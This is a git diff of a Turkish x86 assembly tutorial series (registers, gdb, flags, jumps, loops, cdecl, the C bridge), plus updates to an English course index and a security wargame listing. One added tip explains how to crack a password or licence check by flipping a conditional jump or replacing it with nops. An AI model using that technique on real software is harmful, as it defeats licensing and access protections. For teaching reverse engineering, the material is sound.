Gördüğün gibi `AL`'e dokunmak `EAX`'i de etkiledi — çünkü `AL`, `EAX`'in bir köşesinin takma adından başka bir şey değil. 04'teki "kutu" benzetmesini hatırla: bu hâlâ **tek bir cep kutusu;** sen sadece onun tamamına mı yoksa bir köşesine mi baktığını (ve yazdığını) seçiyorsun.
> 🔑 Tek cümlede: `AL`/`AH`/`AX`/`EAX` ayrı register'lar değil, aynı register'ın küçükten büyüğe pencereleridir. Küçük pencereye yazmak, büyük pencerenin o kısmını da değiştirir.
diff --git a/docs/konu_anlatimlari/x86_assembly/05.5_perde_arkasi.md b/docs/konu_anlatimlari/x86_assembly/05.5_perde_arkasi.md
index 4f3ed00..571a774 100644
--- a/docs/konu_anlatimlari/x86_assembly/05.5_perde_arkasi.md
+++ b/docs/konu_anlatimlari/x86_assembly/05.5_perde_arkasi.md
@@ -91,6 +91,8 @@ En zekice soru bu, ve cevabı 01'in ("işçi kelime bilmez, sadece sayı") ta ke
Peki bu kelimeyi kim takıyor? **`ld`.** Programı kurarken "**hangi adresten başlasın?**" (giriş noktası) bilgisine ihtiyacı var, ve **varsayılan olarak `_start` adlı etiketi arayıp** onun adresini "başlangıç" kabul eder. Yani `_start`, `ld` ile aranızdaki sessiz bir **anlaşma**: "başlangıcın adı budur."
+Peki programda `_start`'ı neden **iki kez** yazıyoruz — bir `global _start`, bir `_start:`? İki ayrı iş: `_start:` (sonundaki iki nokta üst üste ile) o satıra **etiketi asar**, "burası _start" der. `global _start` ise o etiketi **dışarı, `ld`'ye duyurur** — "bu ismi dosyanın dışı da görebilsin." `global` olmasa etiket yalnız dosyanın içinde kalır; `ld`, varsayılan başlangıç olarak aradığı `_start`'ı bulamazdı. Yani `_start:` ismi *koyar*, `global` onu *görünür* kılar.
+
Bunu denedim — etiketi `_start` yerine `_basla` yaptım:
```
diff --git a/docs/konu_anlatimlari/x86_assembly/07_gdb_tek_adim.md b/docs/konu_anlatimlari/x86_assembly/07_gdb_tek_adim.md
index b855c91..a095194 100644
--- a/docs/konu_anlatimlari/x86_assembly/07_gdb_tek_adim.md
+++ b/docs/konu_anlatimlari/x86_assembly/07_gdb_tek_adim.md
@@ -155,6 +155,8 @@ Bunu tutan da bir kutu: **`eip`** (*instruction pointer* — "komut göstergesi"
Sıradaki komutu görmek için: **`x/i $eip`** ("eip'in gösterdiği adresteki komutu, komut olarak yaz"):
+> 💡 **Baştaki `$` ne?** gdb'de bir register'ı **bir ifadenin içinde, değeri lazım olduğu için** kullanırken adının başına `$` koyarsın: `$eip` = "eip'in *içindeki* adres". Yukarıdaki `info registers eax`'te ise `$` yoktu — çünkü orada register'ı bir hesaba katmıyor, sadece **adıyla listeliyorduk**. Kısaca: değerini kullanıyorsan `$eip`, sadece adını söylüyorsan `eax`.
+
```
(gdb) x/i $eip
```
diff --git a/docs/konu_anlatimlari/x86_assembly/08_mov_ve_bellek.md b/docs/konu_anlatimlari/x86_assembly/08_mov_ve_bellek.md
index cdc6e2c..0352c31 100644
--- a/docs/konu_anlatimlari/x86_assembly/08_mov_ve_bellek.md
+++ b/docs/konu_anlatimlari/x86_assembly/08_mov_ve_bellek.md
@@ -91,7 +91,9 @@ gdb ./bellek
(gdb) starti
```
-Bu sefer sadece register'a değil, **belleğin kendisine** de bakacağız. Bellek kutusuna bakma komutu **`x`** (*examine*): `x/1dw &sayi` = "sayi'nin adresindeki 1 tane dword'ü onluk göster." (`&sayi` = "sayi'nin adresi"; `d` = onluk, `w` = word/dword.)
+Bu sefer sadece register'a değil, **belleğin kendisine** de bakacağız. Bellek kutusuna bakma komutu **`x`** (*examine*): `x/1dw &sayi` = "sayi'nin adresindeki 1 tane dword'ü onluk göster." (`&sayi` = "sayi'nin adresi"; `d` = onluk göster; `w` = **4 byte'lık dword**.)
+
+> 💡 **Karışmasın:** buradaki `w`, `section .data`'daki `dw` ile **aynı harf ama farklı sözlük.** NASM'de `dw` = 2 byte'tı; gdb'nin `x/…w`'sinde `w` = **4 byte** (dword). Aynı harf, iki alet, iki boyut — burada 4 byte gösteriyor.
```
(gdb) info registers eax
diff --git a/docs/konu_anlatimlari/x86_assembly/10_bayraklar_ve_cmp.md b/docs/konu_anlatimlari/x86_assembly/10_bayraklar_ve_cmp.md
index 26a4f9e..06500a0 100644
--- a/docs/konu_anlatimlari/x86_assembly/10_bayraklar_ve_cmp.md
+++ b/docs/konu_anlatimlari/x86_assembly/10_bayraklar_ve_cmp.md
@@ -144,7 +144,7 @@ Tabloya koyalım — karar mantığının çekirdeği bu:
Okuması çok basit:
- **ZF = 1** ise iki sayı **eşit** (çünkü fark sıfır).
-- **ZF = 0, SF = 1** ise ilk sayı **küçük** (fark eksiye düştü — 09'daki two's complement'ten hatırla: eksi = en üst bit 1 = SF).
+- **ZF = 0, SF = 1** ise ilk sayı **küçük** (fark eksiye düştü. 09'daki `0xFFFFFFFD` gibi eksi sayılar hep en soldaki bitle başlar; iki'ye tümleyende **en üst bit = "eksi mi" işaretidir** — SF işte o biti kopyalar).
- **ZF = 0, SF = 0** ise ilk sayı **büyük** (fark pozitif, sıfır değil).
İşçi "hangisi büyük" sorusunu böyle "hatırlar": aslında hatırlamaz — sadece iki bit bırakır, sen (daha doğrusu bir sonraki komut) o iki bite bakıp kararı okur.
@@ -161,7 +161,7 @@ Okuması çok basit:
test eax, eax ; "eax sıfır mı?" → sıfırsa ZF=1
```
-`test`, `cmp` gibi "sonucu atıp yalnız bayrak kuran" bir komuttur. `test eax, eax` kullanıldığında pratik sonucu tek cümle: **eax sıfırsa ZF açılır, değilse kapalı kalır.** İki programla görelim.
+`test`, `cmp` gibi "sonucu atıp yalnız bayrak kuran" bir komuttur. `test eax, eax` kullanıldığında pratik sonucu tek cümle: **eax sıfırsa ZF açılır, değilse kapalı kalır.** (Yeri gelmişken: `test eax, eax` aslında SF'yi de kurar — eax eksiyse SF=1 olur — ama bu "sıfır mı" kısayolunda yalnız ZF'ye bakıyoruz.) İki programla görelim.
`testsifir.asm` (eax = 0):
diff --git a/docs/konu_anlatimlari/x86_assembly/11_ziplamalar.md b/docs/konu_anlatimlari/x86_assembly/11_ziplamalar.md
index 38e648d..abc31b1 100644
--- a/docs/konu_anlatimlari/x86_assembly/11_ziplamalar.md
+++ b/docs/konu_anlatimlari/x86_assembly/11_ziplamalar.md
@@ -129,6 +129,8 @@ Yolu takip et: `test eax, eax` bayrağı kurar. Sonra `jz sifir` — eğer ZF a
> 💡 **Aklınıza takılabilir:** *"Eşitlik için `jz` biraz tuhaf isim — 'sıfırsa atla' neden 'eşitse' demek?"* Çünkü `cmp a, b` içeride `a - b` yapıyordu (10); `a == b` ise fark **sıfır**, yani ZF açılır. Demek ki "eşit mi" sorusu aslında "fark sıfır mı" sorusudur. Bu yüzden `jz`'nin bir de **`je`** (*jump if equal*) adı vardır — ikisi **birebir aynı komuttur**, sadece iki farklı okunuşu. Aynı şekilde `jnz` = **`jne`** (*jump if not equal*). `cmp`'ten sonra `je`/`jne`, `test`'ten sonra `jz`/`jnz` yazmak sadece okunurluk tercihidir.
+> 💡 **Nerede işine yarar:** bir programın şifre/lisans kontrolünü kırmanın klasik yolu, disassembly'de tam bu `cmp`/`test` + `jz` çiftini bulmaktır — sonra ya `jz`'yi `jnz`'ye çevirir ya da zıplamayı `nop`'larsın; böylece "yanlış şifre" dalı "doğru"ymuş gibi davranır. Yani bugün elle *yazdığın* kalıbı, tersine mühendislik *söker.* Bir "kararı" kırmak = onun dayandığı koşullu zıplamayı değiştirmek. 20'de döneceğimiz binary exploitation'ın da ilk tuğlası bu.
+
---
## Sıralamaya Göre Zıpla: `jl` ve `jg`
@@ -174,7 +176,7 @@ Sayıları `mov eax, 40` / `mov ecx, 30` yapıp yeniden çalıştır:
Program her seferinde **büyük olanı** seçti — sen `if (a > b)` mantığını, işçinin diliyle kurdun.
-> 🔑 `cmp a, b` + `jl`/`jg` = "a, b'den küçük/büyük mü?" kararı. 10'da bahsi geçen "işaretli karşılaştırma inceliğinin" bir adı var: **taşma (overflow)** — ve `jl`/`jg` doğru bayrak kombinasyonunu senin yerine bilir, sen elle uğraşmazsın. Bu taşmanın nereden geldiğini ileride, işaretli aritmetiğe döndüğümüzde tıkır tıkır göreceğiz; şimdilik ismini bil, gerisine güven. Sen sadece doğru olanı seç: sıralama için `jl`/`jg`/`jle`/`jge`, eşitlik için `je`/`jne`. Kalıp yine aynı: **`cmp` kur, koşullu zıpla.**
+> 🔑 `cmp a, b` + `jl`/`jg` = "a, b'den küçük/büyük mü?" kararı. 10'da bahsi geçen "işaretli karşılaştırma inceliğinin" bir adı var: **taşma (overflow)** — ve `jl`/`jg` doğru bayrak kombinasyonunu senin yerine bilir, sen elle uğraşmazsın. Bu taşmanın tam mekanizması, işaretli aritmetiğin daha derin bir konusu — bu başlangıç serisinin kapsamı dışında kalıyor; sana burada gereken tek şey ismini bilmek, gerisini `jl`/`jg` senin yerine hallediyor. Sen sadece doğru olanı seç: sıralama için `jl`/`jg`/`jle`/`jge`, eşitlik için `je`/`jne`. Kalıp yine aynı: **`cmp` kur, koşullu zıpla.**
---
diff --git a/docs/konu_anlatimlari/x86_assembly/12_donguler.md b/docs/konu_anlatimlari/x86_assembly/12_donguler.md
index 428b2f4..e8993c1 100644
--- a/docs/konu_anlatimlari/x86_assembly/12_donguler.md
+++ b/docs/konu_anlatimlari/x86_assembly/12_donguler.md
@@ -82,6 +82,8 @@ dongu:
int 0x80
```
+> 💡 **Hangi bayrağı `jnz` okuyor?** Bu döngüde `jnz`'den önce **iki** bayrak-kuran komut var: önce `add eax, ecx`, sonra `dec ecx` — ikisi de ZF'yi günceller (10). Kural basit: **her yeni aritmetik komut bir öncekinin bayrağını ezer**, o yüzden `jnz` yalnızca **kendinden hemen önceki** komutun (yani `dec`'in) bayrağına bakar. `dec`'i tam `jnz`'nin önüne bu yüzden koyduk; `add`'in kurduğu ZF umursanmaz, geçerli olan `dec`'inki.
+
Turları kafanda çevir: ecx=3 → eax 0+3=3; ecx=2 → eax 3+2=5; ecx=1 → eax 5+1=6; ecx=0 → `jnz` durur. Sonuç 6 (=1+2+3). Çalıştır:
```
diff --git a/docs/konu_anlatimlari/x86_assembly/16_calling_convention.md b/docs/konu_anlatimlari/x86_assembly/16_calling_convention.md
index 59521b0..c5592e4 100644
--- a/docs/konu_anlatimlari/x86_assembly/16_calling_convention.md
+++ b/docs/konu_anlatimlari/x86_assembly/16_calling_convention.md
@@ -33,6 +33,8 @@ cdecl'in üç temel kuralı (gerisi ayrıntı):
2. **Dönüş değeri `eax`'te** döner.
3. **Argümanları çağıran temizler** (fonksiyon değil).
+(Yukarıda sorduğumuz *"`ecx` bozulursa çağıranın `ecx`'i mahvolur mu?"*nun cevabı da bu sözleşmenin parçasıdır: hangi register'ı kimin koruyacağı belli kurala bağlıdır. Ama o bir ayrıntı — şimdilik bu üç kural `Topla`'yı yazmaya yetiyor, o inceliğe girmiyoruz.)
+
Şimdi bunları tek tek, çalışan kodla görelim.
> 🔑 **Calling convention** = çağıran ile fonksiyon arasındaki, "veriyi nereye koyacağız, sonucu nereden alacağız, kim temizleyecek" anlaşması. Tek doğru yok; 32-bit Linux'ta standart **cdecl**: argümanlar stack'e (sağdan sola), sonuç `eax`'te, temizlik çağıranda.
@@ -49,7 +51,7 @@ cdecl'in üç temel kuralı (gerisi ayrıntı):
call topla
```
-Neden ters? Böylece `call` yapıldığında **1. argüman stack'te en üstte** (dönüş adresine en yakın) olur — fonksiyon "ilk argümanım nerede?" derken tutarlı bir yere bakar. Az sonra tam adresini göreceğiz.
+Neden ters? Böylece **`call`'dan hemen önce** 1. argüman stack'in tepesinde olur; `call` dönüş adresini onun üstüne `push`'layınca (15) tepe yine **dönüş adresi** olur, 1. argüman da onun hemen **altında** (dönüş adresine en yakın) kalır — fonksiyon "ilk argümanım nerede?" derken tutarlı bir yere bakar. Az sonra tam adresini göreceğiz.
Sonuç ise `eax`'te döner (kural 2) — zaten 15'teki `ekle5` de sonucu eax'e bırakıyordu, cdecl bunu resmî kural yapıyor. Fonksiyondan çıkınca çağıran `eax`'e bakar, sonucu orada bulur.
@@ -69,7 +71,7 @@ topla:
mov ebp, esp ; ebp = şu anki tepe → sabit çıpa
```
-(Bu ilk örnekte çağıran `_start`; `ebp`'ye hiç değer yazmadık, yani sakladığımız şey aslında "boş", önemsiz bir sayı. Ama kural genel: fonksiyon, çağıran kim olursa olsun onun `ebp`'sini korur — burada sadece o boşu koruyor, kalıp her çağıranda aynı çalışsın diye.)
+(Bu ilk örnekte çağıran `_start`; `ebp`'ye anlamlı bir şey yazmamıştı, yani sakladığımız değerin **içeriği** önemsiz. Ama **satırın kendisi** önemli: çoğu çağıranın korunması gereken gerçek bir `ebp`'si olur — 19'da C fonksiyonlarında göreceksin — o yüzden kalıp, çağıran kim olursa olsun onun `ebp`'sini saklar. Burada sadece o "boş"u koruyor.)
Bu iki satırdan sonra stack şöyle dizilidir (14'ten: yukarı = büyük adres). `ebp` artık sabit; ona göre argümanlar:
@@ -117,7 +119,7 @@ topla:
ret
```
-Bir tek yeni parça var: `call`'dan sonraki `add esp, 8`. Bu, **kural 3** — çağıran, stack'e ittiği 2 argümanı (2 × 4 = 8 byte) geri temizliyor. (15'in uyarısını hatırla: stack dengede kalmazsa işler bozulur. Argümanları iten çağıran olduğu için, temizleyen de o.) Çalıştır:
+Bir tek yeni parça var: `call`'dan sonraki `add esp, 8`. Bu, **kural 3** — çağıran, stack'e ittiği 2 argümanı (2 × 4 = 8 byte) geri temizliyor. Neden `sub` değil de **`add`**? Stack aşağı (küçük adrese) doğru büyür (14); argümanları `push`'larken `esp` 8 **azalmıştı**, temizlik de onu 8 geri **artırır** — "silmek" burada `esp`'yi ittiğimiz yerin üstüne, eski tepeye taşımaktır. (15'in uyarısını hatırla: stack dengede kalmazsa işler bozulur. Argümanları iten çağıran olduğu için, temizleyen de o.) Çalıştır:
```
nasm -f elf32 topla_fn.asm -o topla_fn.o
diff --git a/docs/konu_anlatimlari/x86_assembly/19_c_ile_assembly_koprusu.md b/docs/konu_anlatimlari/x86_assembly/19_c_ile_assembly_koprusu.md
index 6c3a911..01f7c4f 100644
--- a/docs/konu_anlatimlari/x86_assembly/19_c_ile_assembly_koprusu.md
+++ b/docs/konu_anlatimlari/x86_assembly/19_c_ile_assembly_koprusu.md
@@ -78,7 +78,7 @@ topla:
ret ; ┘ (çağırana dön) → 15. ders (ret)
```
-**İşte kursun bütün ödülü bu tabloda.** Derleyici, `a + b` gibi masum bir C satırını, tam da senin 16'da **elle kurduğun** iskelete çevirdi: prologue ile `ebp` çıpasını kur, argümanları `[ebp+8]` ve `[ebp+12]`'den oku (16'daki sözleşme!), `add` ile topla (09), epilogue ile temizle ve `ret`'le dön (15). Sen kurstan önce baksan bu bir gizemdi; şimdi **okuyabiliyorsun.**
+**İşte kursun bütün ödülü bu tabloda.** Derleyici, `a + b` gibi masum bir C satırını, tam da senin 16'da **elle kurduğun** iskelete çevirdi: prologue ile `ebp` çıpasını kur, argümanları `[ebp+8]` ve `[ebp+12]`'den oku (16'daki sözleşme!), `add` ile topla (09) — **sonuç `eax`'te kalır, ki cdecl'de dönüş değerinin durduğu yer orasıdır (16); C'deki `return a + b;`'nin "döndür" kısmı işte bu, ayrı bir komut değil** — epilogue ile temizle ve `ret`'le dön (15). Sen kurstan önce baksan bu bir gizemdi; şimdi **okuyabiliyorsun.**
(Küçük bir fark: derleyici toplamı hesaplarken `edx`'i geçici olarak kullandı, biz elle yazarken doğrudan `eax`'i kullanmıştık. Bu normal — hangi register'ı geçici olarak seçeceği derleyicinin tercihidir; ikisi de aynı sözleşmeye uyduğu sürece sonuç değişmez.)
@@ -96,7 +96,7 @@ int carp8(int x) {
}
```
-`gcc -m32 -S -masm=intel -O1 ...` ile çevir. Ürettiği:
+`gcc -m32 -S -masm=intel -O1 -fno-pie -fno-pic carp8.c -o carp8.s` ile çevir (aynı bayraklar, tek fark `-O0` yerine `-O1`). Ürettiği:
```nasm
carp8:
@@ -107,7 +107,17 @@ carp8:
**İşte 13'ün sözü.** 13'te sana `shl` demiştim; gcc burada `sal` yazdı — şaşırma, beklediğin komut bu: **sola kaydırmada `sal` ile `shl` birebir aynı komuttur** (aynı makine kodu, aynı opcode), sadece iki farklı isim. C'de `x * 8` yazdın, ama derleyici bir çarpma komutu (`mul`) koymadı — onun yerine `sal eax, 3` (sola 3 kaydır = ×2³ = ×8) koydu, çünkü kaydırma çok daha hızlı (13). C'de "çarpma" gördün; makinede bir **bit kaydırma** var. İkisi aynı sonucu verir ama derleyici hızlısını seçti.
-Küçük bir ek gözlem: `-O1` açıkken `push ebp`/`mov ebp, esp` prologue'u **bile yok** — derleyici, bu minik fonksiyonun `ebp` çıpasına ihtiyaç duymadığını görüp atlamış, argümanı doğrudan `[esp+4]`'ten okumuş. (Neden az önceki gibi `[ebp+8]` değil de `[esp+4]`? Çünkü prologue'daki `push ebp` yok — o `push` stack'i 4 byte aşağı itiyordu ve biz ölçüyü `ebp`'ye göre yapıyorduk. O kayma olmayınca 1. argüman `esp`'ye göre 4 byte yakında: `[esp+4]`.) (16'da "prologue bir *kolaylık*, mecburiyet değil" demiştik; işte kanıtı.) Optimize edilmiş kod, elle yazdığından daha "kurnaz" görünür — ama altında hep bildiğin komutlar vardır.
+Küçük bir ek gözlem: `-O1` açıkken `push ebp`/`mov ebp, esp` prologue'u **bile yok** — derleyici, bu minik fonksiyonun `ebp` çıpasına ihtiyaç duymadığını görüp atlamış, argümanı doğrudan `[esp+4]`'ten okumuş.
+
+Neden az önceki gibi `[ebp+8]` değil de `[esp+4]`? Üç adımda:
+
+- Fonksiyona girildiği an stack'in tepesinde (`[esp]`) **dönüş adresi** durur; 1. argüman onun hemen üstünde: **`[esp+4]`**.
+- Prologue **olsaydı**, `push ebp` `esp`'yi 4 byte aşağı iter, `mov ebp, esp` çıpayı oraya sabitlerdi — o yüzden `ebp`'ye göre argüman 4 byte daha uzakta kalırdı: **`[ebp+8]`**.
+- Bu fonksiyonda prologue **yok**, o itiş hiç olmadı; ölçüyü doğrudan `esp`'den yapıyoruz: **`[esp+4]`**.
+
+("Hani `esp` sürekli oynuyordu, ona güvenmek tehlikeliydi (16)?" — evet; ama bu minik fonksiyon stack'e hiç dokunmuyor (`push`/`pop`/`call` yok), o yüzden `esp` baştan sona **kıpırdamıyor** ve burada ona güvenmek güvenli.)
+
+(16'da "prologue bir *kolaylık*, mecburiyet değil" demiştik; işte kanıtı.) Optimize edilmiş kod, elle yazdığından daha "kurnaz" görünür — ama altında hep bildiğin komutlar vardır.
> 🔑 `-O1`/`-O2` (optimizasyon) açıkken derleyici zekileşir: `× 8` → `shl/sal` (13), gereksiz prologue'u atar, register'ları kurnazca kullanır. Bu yüzden optimize edilmiş kod ilk bakışta yabancı görünebilir — ama tuğlaları hep bu kursun tuğlalarıdır. Tersine mühendislikte işin çoğu, bu "kurnaz ama tanıdık" kalıpları sökmektir.
diff --git a/docs/konu_anlatimlari/x86_assembly/20_buradan_nereye.md b/docs/konu_anlatimlari/x86_assembly/20_buradan_nereye.md
index 70fa3e8..559b59c 100644
--- a/docs/konu_anlatimlari/x86_assembly/20_buradan_nereye.md
+++ b/docs/konu_anlatimlari/x86_assembly/20_buradan_nereye.md
@@ -63,7 +63,9 @@ _start:
Gördüğün gibi **kavram** hiç değişmedi — "register'a değer koy, numarayı `rax`'e yaz, çağır." Sadece isimler ve birkaç sayı farklı. 32-bit'i anladıysan, 64-bit'e geçiş bir öğleden sonralık iş.
-> 🔑 64-bit, öğrendiğinin **büyümüş hâli:** `e__` register'lar `r__` olur (+ `r8`–`r15`), `int 0x80` yerine `syscall`, çağrı numaraları değişir. Kavramlar (register, stack, çağrı sözleşmesi, syscall) aynı. 32-bit sağlam temelse, 64-bit sadece yeni bir lehçe.
+(Tek gerçek *yeni alışkanlık* şu: 64-bit'te bir **fonksiyona** argümanları — 16'da yaptığın gibi stack'e `push`'layıp `[ebp+8]`'den okumak yerine — doğrudan **register'lara** (`rdi`, `rsi`, `rdx`...) koyarsın. Yani 16'nın `[ebp+8]` stack-argüman modeli 32-bit cdecl'e özgüdür; 64-bit bir fonksiyonun içinde `[ebp+8]` görmezsin — tersine mühendislikte bunu bileceksin. Yukarıdaki tablodaki *syscall* argümanlarının register'da olması da zaten aynı mantığın bir örneği.)
+
+> 🔑 64-bit, öğrendiğinin **büyümüş hâli:** `e__` register'lar `r__` olur (+ `r8`–`r15`), `int 0x80` yerine `syscall`, çağrı numaraları değişir. Kavramların çoğu (register, stack, syscall) aynı; çağrı sözleşmesinin **fikri** de aynı — tek gerçek fark, fonksiyon argümanlarının stack yerine **register**'a geçmesi. 32-bit sağlam temelse, 64-bit sadece yeni bir lehçe.
---
Leviathan02 / 08
+ Leviathan02 / 09
Binary analysis and simple exploit techniques. You inspect binary behaviour with ltrace/strace. Bandit recommended first.
3/10
Difficulty
Learn Linux and security by watching the te
- Krypton03 / 08
+ Krypton03 / 09
Cryptography fundamentals — from classic ciphers to modern approaches. You crack encrypted messages.
3/10Difficulty
@@ -148,7 +148,7 @@ Learn Linux and security by watching the te
- Natas04 / 08
+ Natas04 / 09
Web security — HTTP, source-code analysis, SQL injection, XSS and more. Played in the browser.
4/10Difficulty
@@ -164,7 +164,7 @@ Learn Linux and security by watching the te
- Narnia05 / 08
+ Narnia05 / 09
Binary exploitation — buffer overflow, format string and basic exploit development. Requires reading assembly.
6/10Difficulty
@@ -180,7 +180,7 @@ Learn Linux and security by watching the te
- Behemoth06 / 08
+ Behemoth06 / 09
Intermediate binary exploitation. More complex scenarios than Narnia, ASLR and various protections.
7/10Difficulty
@@ -196,7 +196,7 @@ Learn Linux and security by watching the te
- Utumno07 / 08
+ Utumno07 / 09
Advanced binary exploitation. Minimum hints, maximum difficulty — for experienced exploit developers only.
9/10Difficulty
@@ -212,7 +212,7 @@ Learn Linux and security by watching the te
- Maze08 / 08
+ Maze08 / 09
Mixed binary exploitation & RE — a different vulnerability class each level: TOCTOU, library hijack, self-modifying code, FSOP, ELF parser, format string. A capstone after Behemoth + Utumno.
5/10Difficulty
@@ -226,6 +226,22 @@ Learn Linux and security by watching the te
+
+
+ Vortex09 / 09
+ A broad lab that begins with network/socket programming and walks the entire classic binary-exploitation curriculum — endianness, overflow, format string, heap, ret2libc/ROP, then cryptanalysis + RE/keygen. Source isn't given at most levels.
+
+ 6/10Difficulty
+ 27Levels
+
+
+ endiannessoverflowformat stringheap/ROPcrypto/RE
+
+ vortex.labs...:2228
+ writeups →
+
+
+
@@ -246,9 +262,17 @@ Learn Linux and security by watching the te
▸linux_commands/file system · text processing · networking · permissions · processes · git
7 topics
+
+ ▸switches_to_computer/ 🚧switch → NAND → gates → adder; build the processor from its parts
+ 8 modules · in progress
+
+
+ ▸x86_assembly/assembly from scratch · machine model · arithmetic · flow · stack · functions · syscalls · C bridge
+ 25 modules
+
▸binary_exploitation/x86 assembly → format string → ROP → GOT/PLT → protections
- 22 modules
+ 23 modules
▸web_security/HTTP · source & devtools · cookies · injection · deserialization
@@ -260,7 +284,7 @@ Learn Linux and security by watching the te
▸leviathan_commands/binary analysis · gdb · ltrace/strace · symlink · brute force
- 6 topics
+ 8 topics
diff --git a/docs/eng/konu_anlatimlari/KONU_ANLATIMLARI.md b/docs/eng/konu_anlatimlari/KONU_ANLATIMLARI.md
index 944b101..b2aa504 100644
--- a/docs/eng/konu_anlatimlari/KONU_ANLATIMLARI.md
+++ b/docs/eng/konu_anlatimlari/KONU_ANLATIMLARI.md
@@ -22,6 +22,8 @@
| File | Commands / Concepts |
|---|---|
+| [before_you_start.md](./leviathan_komutlari/before_you_start.md) | Before starting Leviathan: SSH connection, how the game works, prerequisites, the recon reflex |
+| [what_leviathan_teaches.md](./leviathan_komutlari/what_leviathan_teaches.md) | What Leviathan teaches: info disclosure, command injection, symlink/TOCTOU, encoding≠security, level→concept map |
| [file_permissions_suid.md](./leviathan_komutlari/file_permissions_suid.md) | `chmod` `find -perm` `whoami` `SUID` privilege escalation |
| [binary_analysis.md](./leviathan_komutlari/binary_analysis.md) | `file` `strings` `xxd` `od` binary→ASCII |
| [ltrace_strace.md](./leviathan_komutlari/ltrace_strace.md) | `ltrace` `strace` `strcmp` `fopen` `access` `system` |
@@ -70,12 +72,65 @@
---
+## 🔌 From Switches to a Computer (NAND to CPU)
+
+> 🚧 **This course is still being written** — it grew out of the NandGame journey; right now it's written from switch/relay up to the **Full Adder** (00–06). The rest (multi-bit adder, ALU, memory, clock, control unit) will be added as the journey continues.
+>
+> 🧭 **New to this?** → [00_buradan_basla.md](./salterden_bilgisayara/00_buradan_basla.md) — for people who want to learn the processor not by asking "what is it?" but by **building it from its parts**. It's the sibling and the floor beneath the x86 course: there you learn to give the worker orders, here you build the worker from transistors.
+
+| File | Topics |
+|---|---|
+| [00_buradan_basla.md](./salterden_bilgisayara/00_buradan_basla.md) | Course map; the journey from switches to a CPU |
+| [01_akim_salter_role.md](./salterden_bilgisayara/01_akim_salter_role.md) | Current, switch, relay — the first "logic" |
+| [02_nanddan_kapilar.md](./salterden_bilgisayara/02_nanddan_kapilar.md) | NAND is universal: deriving NOT/AND/OR/XOR |
+| [03_xor_iki_fedai.md](./salterden_bilgisayara/03_xor_iki_fedai.md) | Building XOR — "the two workhorses" (OR + NAND + AND) |
+| [03.5_soyutlama_merdiveni.md](./salterden_bilgisayara/03.5_soyutlama_merdiveni.md) | A gate = a closed box; climbing one floor up |
+| [04_teller_sayi_olunca.md](./salterden_bilgisayara/04_teller_sayi_olunca.md) | Assigning value to wires; the token logic |
+| [05_half_adder.md](./salterden_bilgisayara/05_half_adder.md) | XOR+AND = the seed of addition (sum + carry) |
+| [06_full_adder.md](./salterden_bilgisayara/06_full_adder.md) | a+b+carry-in; two half adders = the skeleton of an ALU |
+
+---
+## ⚙️ x86 Assembly (from scratch)
+
+> ✅ **This course is complete (00–20).** From the machine model up through arithmetic · control flow (jmp/loops) · the stack · functions · system calls · the C bridge; **every program in it was verified by running it on a real machine.**
+>
+> 🧭 **New to this?** → [00_buradan_basla.md](./x86_assembly/00_buradan_basla.md) — for people who want to learn assembly truly from scratch, *by writing it*. It's the deep groundwork for Binary Exploitation ("first learn to give the worker orders, then learn to bend the order").
+
+| File | Topics |
+|---|---|
+| [00_buradan_basla.md](./x86_assembly/00_buradan_basla.md) | Course map, mental model, how to study |
+| [01_bilgisayar_nedir.md](./x86_assembly/01_bilgisayar_nedir.md) | Numbered boxes + a worker; what "running" means |
+| [02_terminal_ile_tanisma.md](./x86_assembly/02_terminal_ile_tanisma.md) | The terminal, typing commands, reading output |
+| [03_sayilar_ikilik_onaltilik.md](./x86_assembly/03_sayilar_ikilik_onaltilik.md) | Binary/hex — counting the way the machine counts |
+| [04_bellek_ve_registerlar.md](./x86_assembly/04_bellek_ve_registerlar.md) | Memory (boxes) + registers (the worker's hands); AL/AH/EAX |
+| [05_kurulum_ve_ilk_program.md](./x86_assembly/05_kurulum_ve_ilk_program.md) | Installing nasm/ld/gdb, the write→assemble→run chain |
+| [06_ilk_gercek_program.md](./x86_assembly/06_ilk_gercek_program.md) | A value into a register with `mov`, exit code, `echo $?` |
+| [07_gdb_tek_adim.md](./x86_assembly/07_gdb_tek_adim.md) | Single-stepping in GDB (`starti` / `si`), watching registers live, `eip` |
+| [08_mov_ve_bellek.md](./x86_assembly/08_mov_ve_bellek.md) | `[...]` memory addressing, `section .data`, load/store, the first pointer follow (`[ebx]`) |
+| [08.5_little_endian.md](./x86_assembly/08.5_little_endian.md) | Looking at memory byte by byte; the "exactly reversed" byte order (little-endian) |
+| [09_aritmetik.md](./x86_assembly/09_aritmetik.md) | `add`/`sub`/`inc`/`dec`; two's complement (negative numbers); the whole load-compute-store dance |
+| [10_bayraklar_ve_cmp.md](./x86_assembly/10_bayraklar_ve_cmp.md) | Flags (ZF/SF), `cmp` and `test`; the raw material of a decision |
+| [11_ziplamalar.md](./x86_assembly/11_ziplamalar.md) | `jmp`/`jz`/`jnz`/`jl`/`jg`; breaking the straight flow, the even-odd program |
+| [12_donguler.md](./x86_assembly/12_donguler.md) | Backward jump + counter = a loop; sum 1..N, multiplication by repeated addition |
+| [13_bit_islemleri.md](./x86_assembly/13_bit_islemleri.md) | `and`/`or`/`xor`/`shl`/`shr`; `xor eax,eax`=zero it; `test`=`and` |
+| [14_stack.md](./x86_assembly/14_stack.md) | `push`/`pop`, `esp`, LIFO; why the stack grows down (the worker's notepad) |
+| [15_call_ve_ret.md](./x86_assembly/15_call_ve_ret.md) | Functions, the return address; `call`=`push`+`jmp`, `ret`=`pop` |
+| [16_calling_convention.md](./x86_assembly/16_calling_convention.md) | cdecl: passing arguments, return value, the `ebp` anchor, prologue/epilogue |
+| [17_sistem_cagrilari.md](./x86_assembly/17_sistem_cagrilari.md) | `int 0x80`, syscall numbers; "Hello World" on screen (the `sys_exit` debt is paid) |
+| [18_ilk_etkilesimli_program.md](./x86_assembly/18_ilk_etkilesimli_program.md) | `sys_read` + `section .bss`; an interactive program that asks your name and greets you |
+| [19_c_ile_assembly_koprusu.md](./x86_assembly/19_c_ile_assembly_koprusu.md) | Seeing familiar patterns in compiled code with `gcc -S` (`x*8`→`shl`) |
+| [20_buradan_nereye.md](./x86_assembly/20_buradan_nereye.md) | Moving to 64-bit, reverse engineering, binary exploitation, further resources |
+
+*(The interludes 01.5 / 04.5 / 05.5 are linked inside the course. The series is complete: 00–20.)*
+
+---
## 💥 Binary Exploitation
> 🧭 **New to this?** Start here → [00_buradan_basla.md](./binary_exploitation/00_buradan_basla.md) — an intro for people who don't know assembly: minimum instruction dictionary, the little-endian trap, an end-to-end first exploit, and the reading order.
| File | Topics |
|---|---|
